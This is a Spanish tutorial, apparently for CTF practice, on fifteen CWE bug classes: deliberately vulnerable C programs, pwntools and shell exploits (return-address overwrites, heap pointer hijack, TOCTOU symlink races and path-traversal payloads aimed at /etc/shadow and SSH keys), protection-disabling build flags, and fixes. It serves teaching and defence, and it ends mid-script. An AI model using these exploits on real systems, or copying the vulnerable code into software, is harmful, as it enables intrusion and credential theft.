Basado en CWE Top 25 (MITRE/CISA 2025) + técnicas de CTF y explotación binaria. Cada entrada incluye: código vulnerable, mecanismo del ataque, exploit y cómo compilar.
CWE-190 / CWE-122 — Crítico
Un entero con signo o sin signo desborda al hacer aritmética, produciendo un valor muy pequeño.
Si ese valor se usa en malloc(), se aloca un buffer chico. Luego se escribe fuera de él.
// vuln_intoverflow.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void process(int n, char *data) {
// n controlado por usuario
// Si n = 0x40000001: n * 4 = 0x100000004 → trunca a 4 en 32 bits
int *buf = malloc(n * sizeof(int)); // malloc(4) — buffer diminuto
if (!buf) { puts("malloc falló"); return; }
// Pero escribe n enteros → heap overflow
for (int i = 0; i < n; i++)
buf[i] = i; // 💥 escribe mucho más allá del buffer
// Corrupción de metadata del heap → arbitrary write
free(buf);
}
int main(int argc, char **argv) {
int n = atoi(argv[1]);
process(n, argv[2]);
return 0;
}
n = 1073741825 (0x40000001)
n * sizeof(int) = 0x40000001 * 4 = 0x100000004
En sistemas 32-bit o con int de 32 bits: trunca a 0x4 → malloc(4)
Pero el loop escribe 1073741825 enteros → desborda el heap
# exploit_intof.py
# El overflow corrompe el chunk header del siguiente bloque en el heap
# Técnica: house of force o fastbin dup según glibc version
import struct
from pwn import *
p = process(['./vuln_intoverflow', str(0x40000001), 'X'])
# n = 0x40000001 → malloc(4) → loop escribe 4GB de ints
# Corrompe el 'size' field del siguiente chunk
# Permite controlar qué devuelve el próximo malloc()
p.interactive()
# En 32 bits para ver el truncamiento más claramente
gcc -m32 -o vuln_intoverflow vuln_intoverflow.c -fno-stack-protector -no-pie
# Verificar con:
python3 -c "print(1073741825 * 4 % 2**32)" # → 4
// Validar ANTES de multiplicar
if (n <= 0 || n > MAX_ALLOWED) { error(); return; }
if ((size_t)n > SIZE_MAX / sizeof(int)) { error(); return; } // overflow check
int *buf = malloc((size_t)n * sizeof(int));
CWE-193 — Alto
El loop usa <= en vez de <, o se calcula mal el espacio de un terminador \0.
Se sobrescribe exactamente 1 byte fuera del buffer.
En el stack, ese byte puede ser el byte bajo del saved RBP o un canary.
// vuln_obo.c
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buf[10];
int i;
// 💥 <= en vez de < → escribe buf[10] que no existe
for (i = 0; i <= 10; i++)
buf[i] = input[i];
printf("Input: %s\n", buf);
}
// Variante con strcpy y null terminator:
void vulnerable2(char *src) {
char dst[8];
// strncpy NO agrega \0 si src tiene >= 8 chars
strncpy(dst, src, 8);
dst[8] = '\0'; // 💥 fuera del buffer por 1 byte
puts(dst);
}
int main(int argc, char **argv) {
vulnerable(argv[1]);
return 0;
}
// Sobrescribir el byte 'size' del siguiente chunk en el heap
typedef struct {
char name[8];
} Chunk;
void vuln_heap_obo(char *input) {
Chunk *a = malloc(8);
Chunk *b = malloc(8);
// strlen puede devolver 8, entonces copia 9 bytes con \0
// 💥 el \0 pisa el byte bajo del 'size' field de b
memcpy(a->name, input, strlen(input) + 1);
}
# exploit_obo.py
# El byte extra sobrescribe el byte bajo de saved RBP
# Cuando la función retorna, RBP apunta a una dirección controlada
# Si el epilogo usa 'leave' (mov rsp, rbp; pop rbp), podemos controlar RSP
from pwn import *
p = process('./vuln_obo')
# 10 bytes de relleno + 1 byte que pisa saved RBP (byte bajo)
# Apuntamos RBP hacia una zona con nuestro shellcode o gadget
payload = b'A' * 10 + b'\x80' # cambia byte bajo de RBP
p.sendline(payload)
p.interactive()
gcc -o vuln_obo vuln_obo.c -fno-stack-protector -no-pie -g
gdb vuln_obo
# (gdb) b vulnerable
# (gdb) run AAAAAAAAAA # 10 As
# (gdb) x/20xb &buf # inspeccionar memoria
CWE-242 — Crítico
gets() no tiene parámetro de longitud. Lee hasta \n o EOF sin importar el tamaño del buffer.
Fue eliminada del estándar en C11, pero código legacy la sigue usando.
Es el BOF más simple posible — sin ningún argumento extra.
// vuln_gets.c
#include <stdio.h>
#include <stdlib.h>
void win() {
puts("Shell!");
system("/bin/sh");
}
void vulnerable() {
char buf[64];
printf("Ingresá texto: ");
gets(buf); // 💥 sin límite, desborda stack trivialmente
printf("Dijiste: %s\n", buf);
}
int main() {
vulnerable();
return 0;
}
# exploit_gets.py
from pwn import *
elf = ELF('./vuln_gets')
p = process('./vuln_gets')
WIN = elf.symbols['win']
# offset: 64 (buf) + 8 (saved rbp) = 72
# En algunos casos con alineación de stack: +8 más para ret2win
payload = b'A' * 72
payload += p64(WIN)
p.sendlineafter(b'texto: ', payload)
p.interactive()
# -w suprime el warning de gets() (para que compile limpio como legacy)
gcc -o vuln_gets vuln_gets.c -fno-stack-protector -no-pie -w
# Encontrar offset exacto con pwndbg:
# pwndbg> cyclic 100
# pwndbg> run
# (pegar cyclic output cuando pide input)
# pwndbg> cyclic -l $rsp (o $eip en 32bit)
| Función vulnerable | Alternativa segura |
|---|---|
gets(buf) |
fgets(buf, sizeof(buf), stdin) |
strcpy(dst, src) |
strncpy(dst, src, sizeof(dst)-1) |
strcat(dst, src) |
strncat(dst, src, sizeof(dst)-strlen(dst)-1) |
sprintf(buf, fmt, ...) |
snprintf(buf, sizeof(buf), fmt, ...) |
scanf("%s", buf) |
scanf("%63s", buf) (con límite) |
CWE-457 — Medio/Alto
Una variable local no se inicializa. En el stack, contiene basura del frame anterior.
Si el atacante puede controlar qué había en el stack antes de llamar a la función, controla el valor “no inicializado”.
En el heap, malloc() tampoco inicializa (usar calloc() si se necesita cero).
// vuln_uninit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_password(int stored_hash) {
int guess; // ← sin inicializar, basura del stack
// Dependiendo de qué había en el stack, puede ser 0, o coincidir
printf("Tu 'guess' es: %d\n", guess);
if (guess == stored_hash)
return 1; // gana si la basura coincide
return 0;
}
// Ejemplo más explotable: struct en heap sin inicializar
typedef struct {
int is_admin; // 0 = user, 1 = admin
char name[56];
void (*handler)();
} Session;
Session *create_session() {
Session *s = malloc(sizeof(Session));
// 💥 no se hace memset(s, 0, sizeof(Session))
// is_admin y handler contienen lo que había antes en ese chunk
strcpy(s->name, "guest");
return s;
}
int main() {
// Trick: alocar y liberar algo primero para "plantar" datos
Session *poison = malloc(sizeof(Session));
poison->is_admin = 1;
poison->handler = (void(*)()) system;
free(poison); // va a la freelist
// create_session() obtiene el mismo chunk → datos no borrados
Session *s = create_session();
printf("is_admin = %d\n", s->is_admin); // imprime 1
if (s->is_admin) {
puts("¡Acceso admin concedido!");
s->handler(); // llama a system() con basura como arg — crash o exploit
}
return 0;
}
# exploit_uninit.py
# Técnica: "heap grooming" — controlar qué datos quedan en el chunk
# antes de que la víctima lo reutilice sin inicializar
from pwn import *
p = process('./vuln_uninit')
# No hace falta enviar nada especial:
# el programa en sí demuestra el bug al "plantar" datos
# En exploits reales, se controla la secuencia de alloc/free
# para que el chunk "contaminado" sea reutilizado
p.interactive()
# valgrind detecta uso de memoria no inicializada
valgrind --track-origins=yes ./vuln_uninit
# AddressSanitizer + MemorySanitizer
gcc -fsanitize=memory -fno-omit-frame-pointer -o vuln_uninit vuln_uninit.c
CWE-476 — Medio
malloc() devuelve NULL cuando falla. Si no se verifica y se desreferencia, SIGSEGV.
En Linux, si se puede mapear la página 0 (mmap a NULL), se puede convertir en ejecución de código.
// vuln_nullptr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char data[32];
void (*callback)();
} Buffer;
void safe_func() { puts("función normal"); }
void evil_func() { puts("PWNED"); system("/bin/sh"); }
int main(int argc, char **argv) {
// malloc falla si el sistema está bajo memoria
// o si se pide demasiado
Buffer *b = malloc(atoi(argv[1]));
// 💥 sin verificar si b == NULL
b->callback = safe_func;
strcpy(b->data, argv[2]);
b->callback(); // si b == NULL → dereference de dirección 0x18
return 0;
}
# exploit_nullptr.py
# En kernels viejos (< 3.5) era posible mapear la página NULL
# En kernels modernos: vm.mmap_min_addr = 65536 lo previene
# Igual útil en embedded y kernels sin esta protección
import ctypes
import struct
# En el contexto de un kernel exploit antiguo:
# 1. mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_ANONYMOUS, -1, 0)
# 2. Escribir shellcode en dirección 0
# 3. El null deref salta a nuestro shellcode
# Demostración conceptual:
shellcode_addr = 0x0000000000000018 # offset del campo callback en Buffer
print(f"El programa saltará a: {hex(shellcode_addr)}")
print("En kernel viejo: mapear NULL page + escribir shellcode ahí")
gcc -o vuln_nullptr vuln_nullptr.c -no-pie
# Forzar fallo de malloc con valor gigante:
./vuln_nullptr 999999999999 "test"
# → SIGSEGV en b->callback = safe_func
# Ver el crash:
dmesg | tail -5
CWE-825 — Alto
Una función retorna un puntero a una variable local. Cuando la función termina, esa variable se va del stack. El puntero queda “colgando” apuntando a memoria que ya no es válida. Llamadas subsiguientes sobreescriben esa área del stack → el puntero ahora apunta a datos controlables.
// vuln_dangling.c
#include <stdio.h>
#include <string.h>
int* get_value() {
int x = 42;
return &x; // 💥 x muere al retornar, pero devolvemos su dirección
}
// Versión más explotable:
char* get_buffer() {
char buf[64];
printf("Dame input para buf: ");
fgets(buf, 64, stdin);
buf[strcspn(buf, "\n")] = 0;
return buf; // 💥 dangling pointer al stack frame de get_buffer
}
void overwrite_stack() {
// Esta función usa el mismo espacio de stack que get_buffer usó
// Sus variables locales sobreescribirán lo que había en buf
char local[64];
memset(local, 0x41, 64); // llena de 'A's el stack
// (no hace nada con el retorno, solo ocupa el stack)
}
int main() {
char *p = get_buffer(); // p apunta a buf (ya muerto)
overwrite_stack(); // sobreescribe esa zona
printf("Valor: %s\n", p); // 💥 imprime lo que puso overwrite_stack
return 0;
}
# exploit_dangling.py
# El atacante controla lo que se escribe en la zona
# que el dangling pointer va a leer/ejecutar
from pwn import *
p = process('./vuln_dangling')
# Enviamos input a get_buffer()
# Luego overwrite_stack() sobreescribe esa zona
# printf lee datos controlados por nosotros
WIN = 0x401196 # si hubiera una función win()
# En este ejemplo simple solo observamos la corrupción:
p.sendline(b'SECRETO')
print(p.recvall())
gcc -o vuln_dangling vuln_dangling.c -O0 # -O0 para que no optimize el dangling
# El compilador moderno con -Wall nos avisa:
gcc -Wall -o vuln_dangling vuln_dangling.c
# warning: function returns address of local variable
CWE-122 — Crítico
Buffer en el heap con límite insuficiente. Al sobrepasar, se corrompen: los datos del siguiente objeto (variable confusion), o la metadata del heap (chunk headers). A diferencia del BOF de stack, no hay return address directo — se abusa de estructuras del heap.
// vuln_heapof.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char name[32];
int is_admin;
void (*greet)();
} User;
void greet_user() { puts("Hola, usuario normal."); }
void greet_admin() { puts("Hola, ADMIN."); system("/bin/sh"); }
int main(int argc, char **argv) {
User *u1 = malloc(sizeof(User));
User *u2 = malloc(sizeof(User));
u1->is_admin = 0;
u1->greet = greet_user;
u2->is_admin = 0;
u2->greet = greet_user;
// 💥 sin límite: si argv[1] > 32 bytes, pisamos is_admin y greet de u1
strcpy(u1->name, argv[1]);
printf("u1->is_admin = %d\n", u1->is_admin);
u1->greet();
return 0;
}
# exploit_heapof.py
from pwn import *
elf = ELF('./vuln_heapof')
p = process('./vuln_heapof')
GREET_ADMIN = elf.symbols['greet_admin']
# Layout de User:
# name[32] offset 0
# is_admin offset 32
# greet() offset 40 (con padding de alineación)
payload = b'A' * 32 # llenar name
payload += p32(1) # is_admin = 1
payload += b'\x00' * 4 # padding
payload += p64(GREET_ADMIN) # sobreescribir puntero greet
p = process(['./vuln_heapof', payload.decode('latin-1')])
p.interactive()
gcc -o vuln_heapof vuln_heapof.c -fno-stack-protector -no-pie
# Inspeccionar layout:
gdb vuln_heapof
# (gdb) b main
# (gdb) run AAAA
# (gdb) p sizeof(User)
# (gdb) p &u1->name, &u1->is_admin, &u1->greet
CWE-674 — Medio
Recursión sin caso base o con entrada controlada por el usuario → stack exhaustion → SIGSEGV. En ciertos contextos (parsers, evaluadores), el atacante puede controlar la profundidad. Si hay signal handlers, la señal SIGSEGV puede ser capturada → execution hijack.
// vuln_recursion.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
// Cada llamada usa ~N bytes de stack (variables locales)
long fib(long n) {
char padding[1024]; // fuerza consumo de stack rápido
padding[0] = n; // evitar que optimizer elimine padding
if (n <= 0) return 0;
return fib(n-1) + fib(n-2); // sin memoización → exponencial + stack overflow
}
// Con signal handler explotable:
void (*sigusr_handler)() = NULL;
void sighandler(int sig) {
if (sigusr_handler)
sigusr_handler(); // 💥 si logramos sobreescribir sigusr_handler
}
int main(int argc, char **argv) {
signal(SIGSEGV, sighandler);
long n = atol(argv[1]);
printf("%ld\n", fib(n)); // crash con n grande
return 0;
}
# exploit_recursion.py
# La recursión profunda sobrescribe el stack hacia las variables globales
# (stack grows down, si hay un buffer en el stack podemos alcanzar el heap/BSS)
# Técnica más directa: controlar el signal handler via otra vuln
from pwn import *
p = process(['./vuln_recursion', '100000'])
# El proceso crashea con SIGSEGV
# Si podemos sobreescribir sigusr_handler antes del crash → RIP control
p.wait()
print("Exit code:", p.poll())
gcc -o vuln_recursion vuln_recursion.c
ulimit -s # ver límite de stack (default ~8MB)
ulimit -s unlimited # para probar con valores aún más grandes
./vuln_recursion 10000
CWE-362 / CWE-367 — Alto
Time-Of-Check to Time-Of-Use: el programa verifica algo (ej: si un archivo es del usuario), luego actúa sobre ello. Entre el check y el use, el atacante cambia la condición (ej: reemplaza el archivo con un symlink). Muy común en setuid programs.
// vuln_toctou.c (debe compilarse y ejecutarse como setuid root)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
if (argc < 2) { puts("Uso: prog <archivo>"); return 1; }
// CHECK: verificar que el usuario real puede leer el archivo
if (access(argv[1], R_OK) != 0) {
perror("Acceso denegado");
return 1;
}
// 💥 VENTANA: entre access() y open() el atacante puede
// reemplazar argv[1] con un symlink a /etc/shadow
// USE: abrir y mostrar el archivo (con privilegios root del setuid)
FILE *f = fopen(argv[1], "r");
if (!f) { perror("fopen"); return 1; }
char buf[256];
while (fgets(buf, sizeof(buf), f))
printf("%s", buf);
fclose(f);
return 0;
}
#!/bin/bash
# exploit_toctou.sh
# Requiere que vuln_toctou sea setuid root
# Preparar archivo de prueba (que pasa el access check)
echo "archivo inofensivo" > /tmp/myfile
# En un terminal, correr el programa en loop con nuestro archivo
while true; do
./vuln_toctou /tmp/myfile 2>/dev/null
done &
# En otro "hilo" (loop), alternar el symlink durante la ventana TOCTOU
while true; do
# Symlink apunta al archivo de usuario (pasa el access() check)
ln -sf /tmp/myfile /tmp/target
# Muy rápido, cambiar a /etc/shadow (lo usa el fopen() privilegiado)
ln -sf /etc/shadow /tmp/target
done
// exploit_toctou_fast.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main() {
// Loop de alta velocidad alternando el symlink
// Para ganar la race con más probabilidad que un script bash
while (1) {
symlink("/tmp/safe_file", "/tmp/race_target");
// (el programa verifica aquí — pasa)
unlink("/tmp/race_target");
symlink("/etc/shadow", "/tmp/race_target");
// (el programa usa aquí — lee /etc/shadow)
unlink("/tmp/race_target");
}
return 0;
}
gcc -o vuln_toctou vuln_toctou.c
sudo chown root vuln_toctou
sudo chmod u+s vuln_toctou # setuid bit
gcc -o exploit_toctou exploit_toctou_fast.c
CWE-195 / CWE-196 — Alto
Comparar un int (signed) con un size_t (unsigned) produce comportamiento inesperado.
Un valor negativo como int se convierte a un número enorme como unsigned.
Bypassa checks de límite → buffer overflow.
// vuln_signmismatch.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define MAX_SIZE 256
void copy_data(int user_len, char *user_data) {
char buf[MAX_SIZE];
// 💥 user_len es int (puede ser negativo)
// La comparación int vs size_t promueve user_len a unsigned
// Si user_len = -1 → como unsigned = 0xFFFFFFFF → pasa el check!
if (user_len > MAX_SIZE) {
puts("Demasiado grande");
return;
}
// memcpy recibe size_t — si user_len era -1, copia 0xFFFFFFFF bytes 💥
memcpy(buf, user_data, user_len);
buf[user_len] = '\0';
puts(buf);
}
int main(int argc, char **argv) {
int len = atoi(argv[1]);
copy_data(len, argv[2]);
return 0;
}
# exploit_signmismatch.py
from pwn import *
import ctypes
p = process(['./vuln_signmismatch',
'-1', # user_len = -1: pasa check, copia 0xFFFFFFFF bytes
'A' * 300]) # data que nos deja controlar con BOF clásico
# -1 como int con signo pasa el if (user_len > MAX_SIZE)
# pero memcpy(-1) = memcpy(0xFFFFFFFFFFFFFFFF) → heap/stack corruption masiva
p.interactive()
// Otro patrón: índice negativo como array access
int arr[10];
int idx = atoi(input); // puede ser negativo
// Sin chequear idx >= 0:
if (idx < 10) // pasa si idx = -1
arr[idx] = value; // arr[-1] → escribe antes del array
gcc -o vuln_signmismatch vuln_signmismatch.c -fno-stack-protector -no-pie
./vuln_signmismatch -1 $(python3 -c "print('A'*300)")
CWE-125 — Medio/Alto
Se lee más allá del final de un buffer. No corrompe memoria, pero puede filtrar: datos sensibles del stack (canaries, punteros, contraseñas), direcciones que permiten bypassear ASLR, información de sesión u otros objetos adyacentes.
// vuln_oobread.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// El bug de Heartbleed (CVE-2014-0160) era esencialmente esto:
int send_data(char *payload, int payload_len, int claimed_len) {
char response[1024];
// 💥 claimed_len puede ser mayor que payload_len
// Copiamos más de lo que el payload contiene → leak de memoria adyacente
memcpy(response, payload, claimed_len);
// "Enviamos" la respuesta (puede contener datos de otros clientes)
printf("Respuesta (%d bytes): ", claimed_len);
for (int i = 0; i < claimed_len; i++)
printf("%02x ", (unsigned char)response[i]);
printf("\n");
return claimed_len;
}
int main() {
char secret[] = "CLAVE_PRIVADA_SUPERSECRETA"; // en stack, adyacente
char payload[] = "ping";
int real_len = strlen(payload);
// Atacante envía claimed_len = 500 pero payload real es 4 bytes
send_data(payload, real_len, 500); // 💥 leak de 496 bytes de stack
return 0;
}
# exploit_oobread.py
# El OOB read nos da:
# 1. Dirección de la libc → bypass ASLR
# 2. Stack canary → bypass stack protector
# 3. Datos sensibles → info disclosure
from pwn import *
p = process('./vuln_oobread')
output = p.recvall()
# Parsear los bytes heakeados y buscar patrones:
# - Punteros de 64 bits suelen tener forma 0x00007f...
# - Canary suele terminar en \x00
leaked_bytes = bytes.fromhex(''.join(output.decode().split()[1:]))
for i in range(0, len(leaked_bytes)-7, 8):
val = int.from_bytes(leaked_bytes[i:i+8], 'little')
if 0x00007f0000000000 < val < 0x00007fffffffffff:
print(f"Posible puntero de libc/stack en offset {i}: {hex(val)}")
gcc -o vuln_oobread vuln_oobread.c
./vuln_oobread
# Los bytes en hex más allá de "ping" son leaks del stack
CWE-170 — Medio
strncpy no garantiza terminador nulo si src es más largo que n.
El string queda sin terminar → funciones posteriores leen hasta el próximo \0 en memoria.
Puede filtrar datos o causar OOB read en funciones que esperan strings terminados.
// vuln_noterm.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int login(char *username, char *password) {
char stored_pass[] = "s3cr3t";
char user_buf[8];
// strncpy: si username >= 8 chars, NO agrega \0
strncpy(user_buf, username, 8);
// user_buf no tiene \0 → strcmp lee hasta el próximo \0 en stack
// que podría ser el inicio de stored_pass!
if (strcmp(user_buf, stored_pass) == 0) {
puts("¡Login exitoso!");
return 1;
}
puts("Login fallido");
return 0;
}
int main(int argc, char **argv) {
login(argv[1], argv[2]);
return 0;
}
# exploit_noterm.py
# Si user_buf[8] no tiene \0, strcmp sigue leyendo el stack
# El stack tiene: user_buf[8] | stored_pass[]
# Si llenamos user_buf con exactamente 8 bytes, el strcmp compara:
# user_buf + (bytes del stack hasta el próximo \0)
# vs
# stored_pass = "s3cr3t"
# Podemos hacer que coincida si el byte siguiente en stack es el inicio de stored_pass
from pwn import *
# user_buf[8] sin \0, seguido de lo que esté en stack
# El strcmp va a comparar nuestro input + basura vs stored_pass
# En la práctica: probar inputs de exactamente 8 bytes para ver el comportamiento
for c in range(256):
candidate = b'A' * 7 + bytes([c]) # 8 bytes, sin \0
p = process(['./vuln_noterm', candidate.decode('latin-1'), 'x'])
out = p.recvall()
if b'exitoso' in out:
print(f"Byte mágico: {hex(c)} → {candidate}")
break
p.close()
gcc -o vuln_noterm vuln_noterm.c -fno-stack-protector
./vuln_noterm "AAAAAAAA" "cualquier" # 8 As sin \0
CWE-843 — Alto
Un puntero de un tipo se usa como si fuera de otro tipo. En C se logra con casts incorrectos o uniones mal usadas. El atacante puede construir un objeto de un tipo que, interpretado como otro, tenga valores de campo favorables.
// vuln_typeconf.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
int type; // 0 = user input, 1 = system command
char data[56];
} Message;
typedef struct {
int type;
int privilege_level; // 0=user, 9=root
char cmd[52];
} Command;
void process(void *raw, int size) {
Message *m = (Message *)raw;
if (m->type == 0) {
printf("Mensaje de usuario: %s\n", m->data);
} else if (m->type == 1) {
// 💥 cast a Command — asume que raw ES un Command
Command *c = (Command *)raw;
if (c->privilege_level == 9) {
printf("Ejecutando: %s\n", c->cmd);
system(c->cmd); // executa comando con privilegios
}
}
}
int main() {
// Usuario malicioso construye un Message que parece un Command:
char raw[64];
memset(raw, 0, 64);
// type=1 → process lo tratará como Command
*(int*)raw = 1;
// privilege_level = 9 (offset 4)
*(int*)(raw + 4) = 9;
// cmd = "/bin/sh" (offset 8)
strcpy(raw + 8, "/bin/sh");
process(raw, 64);
return 0;
}
# exploit_typeconf.py
import struct
raw = bytearray(64)
# type = 1 (offset 0, int)
struct.pack_into('<i', raw, 0, 1)
# privilege_level = 9 (offset 4, int)
struct.pack_into('<i', raw, 4, 9)
# cmd = "/bin/sh" (offset 8)
raw[8:15] = b'/bin/sh'
print(raw.hex())
# Enviar este buffer al proceso vulnerable
gcc -o vuln_typeconf vuln_typeconf.c -no-pie
./vuln_typeconf # el main ya construye el exploit internamente
CWE-364 — Medio/Alto
Un signal handler llama a funciones no async-signal-safe (como malloc, printf, free).
Si la señal interrumpe esa misma función en el hilo principal, hay race condition interna.
Puede corromper estructuras internas de la libc (ej: el heap).
// vuln_signal.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
char *global_buf = NULL;
void sigint_handler(int sig) {
// 💥 printf y free NO son async-signal-safe
printf("Señal recibida!\n"); // corrompe si interrumpe otro printf
free(global_buf); // corrompe si interrumpe malloc/free
global_buf = malloc(64); // double-free efectivo si timing es malo
strcpy(global_buf, "reseteado");
}
int main() {
signal(SIGINT, sigint_handler);
while (1) {
global_buf = malloc(64);
// Si SIGINT llega entre el malloc y el free → double free en handler
strcpy(global_buf, "datos importantes");
printf("Processing: %s\n", global_buf);
free(global_buf);
global_buf = NULL;
}
return 0;
}
# exploit_signal.sh
# Bombardear el proceso con señales para ganar la race
PID=$(./vuln_signal &)
sleep 0.1
# Enviar SIGINT muy rápido para ganar la race
for i in $(seq 1 1000); do
kill -INT $PID 2>/dev/null
done
wait $PID
// Solo estas funciones son async-signal-safe:
// write(), _exit(), signal(), kill(), sem_post()
// NUNCA: printf, malloc, free, exit, fopen en signal handlers
volatile sig_atomic_t got_signal = 0;
void safe_handler(int sig) {
got_signal = 1; // solo setear flag, procesar en el loop principal
}
CWE-22 — Alto
El usuario controla un path de archivo. Si no se sanitiza ../, puede acceder fuera del directorio base.
En programas setuid o servidores web: lee/escribe archivos arbitrarios del sistema.
// vuln_traversal.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define BASE_DIR "/var/www/files/"
void serve_file(char *filename) {
char path[256];
// 💥 sin sanitizar '../' en filename
snprintf(path, sizeof(path), "%s%s", BASE_DIR, filename);
printf("Sirviendo: %s\n", path);
FILE *f = fopen(path, "r");
if (!f) { perror("fopen"); return; }
char buf[1024];
while (fgets(buf, sizeof(buf), f))
printf("%s", buf);
fclose(f);
}
int main(int argc, char **argv) {
serve_file(argv[1]); // argv[1] controlado por atacante
return 0;
}
# exploit_traversal.sh
# Leer /etc/passwd
./vuln_traversal "../../etc/passwd"
# → /var/www/files/../../etc/passwd = /etc/passwd ✓
# Leer /etc/shadow (si setuid root)
./vuln_traversal "../../etc/shadow"
# Leer clave SSH
./vuln_traversal "../../../root/.ssh/id_rsa"
# Leer código fuente de la app
./vuln_traversal "../../var/www/html/config.php"
# exploit_traversal.py
# Algunos filtros bloquean '../' en texto plano
# Bypass con encoding alternativo:
traversals = [
"../../etc/passwd",
"..%2F..%2Fetc%2Fpasswd", # URL encode
"..%252F..%252Fetc%252Fpasswd", # doble encode
"....//....//etc/passwd", # bypass de replace('../', '')
"..\\..\\etc\\passwd", # Windows style
"%2e%2e%2f%2e%2e%2fetc%2fpasswd", # hex encode
]
for t in traversals:
print(f"Probando: {t}")
# subprocess.run(['./vuln_traversal', t])
// Verificar con realpath() y que empiece con BASE_DIR
char resolved[PATH_MAX];
realpath(path, resolved);
if (strncmp(resolved, BASE_DIR, strlen(BASE_DIR)) != 0) {
puts("Path inválido");
return;
}
| # | Nombre | CWE | Primitiva | Impacto típico |
|---|---|---|---|---|
| 1 | Integer Overflow → Heap OF | 190/122 | Write OOB en heap | Heap corruption, RCE |
| 2 | Off-By-One | 193 | 1 byte fuera del buffer | Stack/heap corruption |
| 3 | gets() | 242 | Write ilimitado en stack | Stack BOF clásico |
| 4 | Uninitialized Memory | 457 | Leer/usar basura del stack/heap | Info leak, priv escalation |
| 5 | Null Pointer Dereference | 476 | Deref de NULL | Crash / kernel null page |
| 6 | Dangling Pointer | 825 | Usar puntero a memoria muerta | Info leak, control flow |
| 7 | Heap Overflow | 122 | Write OOB en heap contiguo | Corrupción de objetos |
| 8 | Stack Overflow (recursión) | 674 | Agotar el stack | Crash, signal hijack |
| 9 | Race Condition / TOCTOU | 362/367 | Ventana entre check y use | Privilege escalation |
| 10 | Signed/Unsigned Mismatch | 195 | Bypass de bounds check | BOF, OOB write |
| 11 | OOB Read | 125 | Leer más allá del buffer | Info leak, ASLR bypass |
| 12 | Improper String Termination | 170 | String sin \0 |
Info leak, OOB read |
| 13 | Type Confusion | 843 | Cast incorrecto entre tipos | Objeto falso, RCE |
| 14 | Signal Handler Reentrancy | 364 | Race en handler | Heap corruption, double free |
| 15 | Path Traversal | 22 | ../ sin sanitizar |
Lectura/escritura arbitraria |
# Análisis estático
cppcheck --enable=all vuln.c
clang --analyze vuln.c
semgrep --config=p/c vuln.c
# Análisis dinámico (sanitizers)
gcc -fsanitize=address,undefined -o vuln vuln.c # AddressSanitizer + UBSan
gcc -fsanitize=memory -o vuln vuln.c # MemorySanitizer
gcc -fsanitize=thread -o vuln vuln.c # ThreadSanitizer (races)
# Fuzzing
afl-fuzz -i inputs/ -o findings/ -- ./vuln @@
libFuzzer: clang -fsanitize=fuzzer,address -o vuln_fuzz vuln.c
# Debugging de heap
valgrind --leak-check=full --track-origins=yes ./vuln
gcc vuln.c -o binario \
-fstack-protector-strong \ # stack canary
-fPIE -pie \ # PIE (ASLR)
-D_FORTIFY_SOURCE=2 \ # fortify de funciones de string
-Wl,-z,relro \ # GOT de solo lectura (partial RELRO)
-Wl,-z,now \ # GOT cargado al inicio (full RELRO)
-Wl,-z,noexecstack \ # stack no ejecutable (NX)
-Wall -Wextra # warnings
# Instalar pwntools (la navaja suiza del exploitation)
pip install pwntools
# GDB con pwndbg para debugging
sudo apt install gdb
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh
# Verificar protecciones de un binario
checksec --file=./vuln_bof
| Flag | Protección que elimina |
|---|---|
-fno-stack-protector |
Stack canary (valor mágico que detecta BOF) |
-no-pie |
PIE/ASLR relativo (randomiza base del binario) |
-z execstack |
NX bit (permite ejecutar shellcode en el stack) |
-D_FORTIFY_SOURCE=0 |
Fortify (checks de funciones de string) |
echo 0 > /proc/sys/kernel/randomize_va_space |
ASLR del sistema completo |
// vuln_bof.c
#include <stdio.h>
#include <string.h>
void secret() {
printf("¡Ganaste! RIP redirigido\n");
system("/bin/sh");
}
void vulnerable(char *input) {
char buf[64]; // buffer fijo
strcpy(buf, input); // ← SIN verificar largo
printf("Hola: %s\n", buf);
}
int main(int argc, char **argv) {
vulnerable(argv[1]);
return 0;
}
# exploit_bof.py
import subprocess
import struct
# 1. Buscar offset con pattern
# gdb: pattern create 100
# run $(python3 -c "print('Aa0A...')")
# pattern offset $rip
OFFSET = 72 # 64 buf + 8 saved rbp
# 2. Dirección de secret()
# gdb: p secret → 0x401136
SECRET_ADDR = 0x401136
payload = b"A" * OFFSET
payload += struct.pack("<Q", SECRET_ADDR)
print(payload.decode("latin-1"))
0x7fff...10 [ buf[0..63] — 64 bytes ] ← inicio del buffer
0x7fff...50 [ saved RBP — 8 bytes ]
0x7fff...58 [ return address (RIP) ] ← target
↑ con overflow: A×72 + <addr secret>
overflow [ AAAA...AAAA + \x36\x11\x40\x00... ] ← sobrescribe RIP
gcc -o vuln_bof vuln_bof.c -fno-stack-protector -no-pie -z execstack
./vuln_bof $(python3 exploit_bof.py)
gdb vuln_bof # para encontrar offset y dirección
strcpy no verifica largo — copia hasta encontrar \0, sin importar si hay espacio.pop rip y salta a la dirección que pusimos.secret() que ejecuta /bin/sh.// vuln_fmtstr.c
#include <stdio.h>
int target = 0;
int main(int argc, char **argv) {
printf("target está en: %p\n", &target);
// ← VULNERABLE: el user controla el format string
printf(argv[1]);
printf("\ntarget = %d\n", target);
if (target == 0x1337) {
printf("¡Flag!\n");
system("/bin/sh");
}
return 0;
}
# exploit_fmtstr.py
import subprocess
from struct import pack
# Paso 1: leer memoria con %p
# ./vuln "AAAA %p %p %p %p %p %p"
# Encontrar en qué posición aparece 0x41414141
# → esa es la posición directa: %N$
TARGET = 0x404048 # dirección de 'target'
VALUE = 0x1337 # valor a escribir (4919)
